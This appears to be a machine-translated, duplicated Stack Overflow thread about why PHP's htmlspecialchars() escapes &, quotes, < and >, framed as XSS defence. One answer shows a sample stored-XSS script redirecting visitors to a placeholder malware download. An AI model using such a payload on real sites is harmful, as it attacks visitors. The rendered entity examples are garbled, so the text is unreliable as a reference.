为什么这 5(6?)个字符被视为 "unsafe" HTML 个字符?
Why these 5 (6?) characters are considered "unsafe" HTML characters?
在 PHP 中,有一个名为 htmlspecialchars() 的函数可对字符串执行以下替换:
&
(符号)转换为 &
"
(双引号)转换为"
'
(单引号)转换为'
(仅当设置标志ENT_QUOTES时)
<
(小于)转换为<
>
(大于)转换为>
显然,这样做是因为这 5 个特定字符是 不安全 HTML 字符.
我能理解为什么最后两个被认为是不安全的:如果它们只是 "echoed",arbitrary/dangerous HTML 可以交付,包括潜在的 javascript 和 <script>
等等。
问题一、为什么前三个字符(&、双引号、单引号)也要考虑'unsafe'?
此外,我偶然发现了 this library called "he" on GitHub (by Mathias Bynens),它是关于 encoding/decoding HTML 个实体的。在那里,我发现了以下内容:
[...] characters that are unsafe for use in HTML content (&, <, >, ", ', and `) will be encoded. [...]
(source)
问题 2. 是否有充分的理由将反引号视为另一个不安全的 HTML 字符? 如果是,这是否意味着 PHP 的上面提到的功能已经过时了?
最后,所有这些都引出了一个问题:
问题 3. 除了上述 5/6 个字符之外,还有其他字符 'unsafe' 应该考虑吗?
这些字符不安全,因为在 html 中 <>
定义了一个标记。
""
和 ''
用于包围属性。
&
由于在 html 实体中使用而被编码。
不应编码其他字符,但它们可以是 ex:
交易符号可以变成 ™
美元符号可以变成 $
欧元可以变成 €
任何表情符号都可以变成 HTML实体(编码的东西的名字)
你可以找到一个explanation/exampleshere
Donovan_D's answer pretty much explained it,但我将在这里提供一些示例,说明具体这些特定字符如何导致问题。
这些字符被认为是不安全的,因为它们是执行 XSS(跨站点脚本)攻击(或无意输入意外破坏页面)的最明显方式。
考虑网站上的评论功能。您提交带有文本区域的表单。它被保存到数据库中,然后显示在所有访问者的页面上。
现在我总结了一个看起来像这样的评论。
<script type="text/javascript">
window.top.location.href="http://www.someverybadsite.website/downloadVirus.exe";
</script>
突然间,访问您页面的每个人都被重定向到病毒下载。这里天真的方法只是说,好吧,让我们过滤掉那次攻击中的一些重要角色:
<
和 >
将替换为 <
和 >
,现在我们的脚本突然不是脚本了。这只是一些看起来 html 的文字。
类似的情况会出现类似
的评论
Something is <<wrong>> here.
假设用户出于某种原因使用 <<...>>
来强调。他们的评论将呈现为
Something is <> here.
显然不是理想的行为。
&
出现了一种不太恶意的情况。 &
用于表示 HTML 实体,例如 &
和 "
以及 <
等。因此看起来无辜的文本很容易意外地成为 html 实体,最终对用户来说看起来非常不同且非常奇怪。
考虑评论
I really like #455 ó please let me know when they're available for purchase.
这将呈现为
I really like #455 ó please let me know when they're available for purchase.
显然不是故意的行为。
关键是,这些符号在大多数情况下被确定为防止大多数 XSS vulnerabilities/bugs 的关键,因为它们很可能用于有效输入,但需要转义才能在 HTML.
关于你的第二个问题,我个人不知道反引号应该被视为不安全的 HTML 字符。
至于你的第三个,也许吧。不要依赖黑名单来过滤用户输入。相反,使用已知 OK 输入的白名单并从那里开始工作。
在 PHP 中,有一个名为 htmlspecialchars() 的函数可对字符串执行以下替换:
&
(符号)转换为&
"
(双引号)转换为"
'
(单引号)转换为'
(仅当设置标志ENT_QUOTES时)<
(小于)转换为<
>
(大于)转换为>
显然,这样做是因为这 5 个特定字符是 不安全 HTML 字符.
我能理解为什么最后两个被认为是不安全的:如果它们只是 "echoed",arbitrary/dangerous HTML 可以交付,包括潜在的 javascript 和 <script>
等等。
问题一、为什么前三个字符(&、双引号、单引号)也要考虑'unsafe'?
此外,我偶然发现了 this library called "he" on GitHub (by Mathias Bynens),它是关于 encoding/decoding HTML 个实体的。在那里,我发现了以下内容:
[...] characters that are unsafe for use in HTML content (&, <, >, ", ', and `) will be encoded. [...]
(source)
问题 2. 是否有充分的理由将反引号视为另一个不安全的 HTML 字符? 如果是,这是否意味着 PHP 的上面提到的功能已经过时了?
最后,所有这些都引出了一个问题:
问题 3. 除了上述 5/6 个字符之外,还有其他字符 'unsafe' 应该考虑吗?
这些字符不安全,因为在 html 中 <>
定义了一个标记。
""
和 ''
用于包围属性。
&
由于在 html 实体中使用而被编码。
不应编码其他字符,但它们可以是 ex:
交易符号可以变成 ™
美元符号可以变成 $
欧元可以变成 €
任何表情符号都可以变成 HTML实体(编码的东西的名字)
你可以找到一个explanation/exampleshere
Donovan_D's answer pretty much explained it,但我将在这里提供一些示例,说明具体这些特定字符如何导致问题。
这些字符被认为是不安全的,因为它们是执行 XSS(跨站点脚本)攻击(或无意输入意外破坏页面)的最明显方式。
考虑网站上的评论功能。您提交带有文本区域的表单。它被保存到数据库中,然后显示在所有访问者的页面上。
现在我总结了一个看起来像这样的评论。
<script type="text/javascript">
window.top.location.href="http://www.someverybadsite.website/downloadVirus.exe";
</script>
突然间,访问您页面的每个人都被重定向到病毒下载。这里天真的方法只是说,好吧,让我们过滤掉那次攻击中的一些重要角色:
<
和 >
将替换为 <
和 >
,现在我们的脚本突然不是脚本了。这只是一些看起来 html 的文字。
类似的情况会出现类似
的评论Something is <<wrong>> here.
假设用户出于某种原因使用 <<...>>
来强调。他们的评论将呈现为
Something is <> here.
显然不是理想的行为。
&
出现了一种不太恶意的情况。 &
用于表示 HTML 实体,例如 &
和 "
以及 <
等。因此看起来无辜的文本很容易意外地成为 html 实体,最终对用户来说看起来非常不同且非常奇怪。
考虑评论
I really like #455 ó please let me know when they're available for purchase.
这将呈现为
I really like #455 ó please let me know when they're available for purchase.
显然不是故意的行为。
关键是,这些符号在大多数情况下被确定为防止大多数 XSS vulnerabilities/bugs 的关键,因为它们很可能用于有效输入,但需要转义才能在 HTML.
关于你的第二个问题,我个人不知道反引号应该被视为不安全的 HTML 字符。
至于你的第三个,也许吧。不要依赖黑名单来过滤用户输入。相反,使用已知 OK 输入的白名单并从那里开始工作。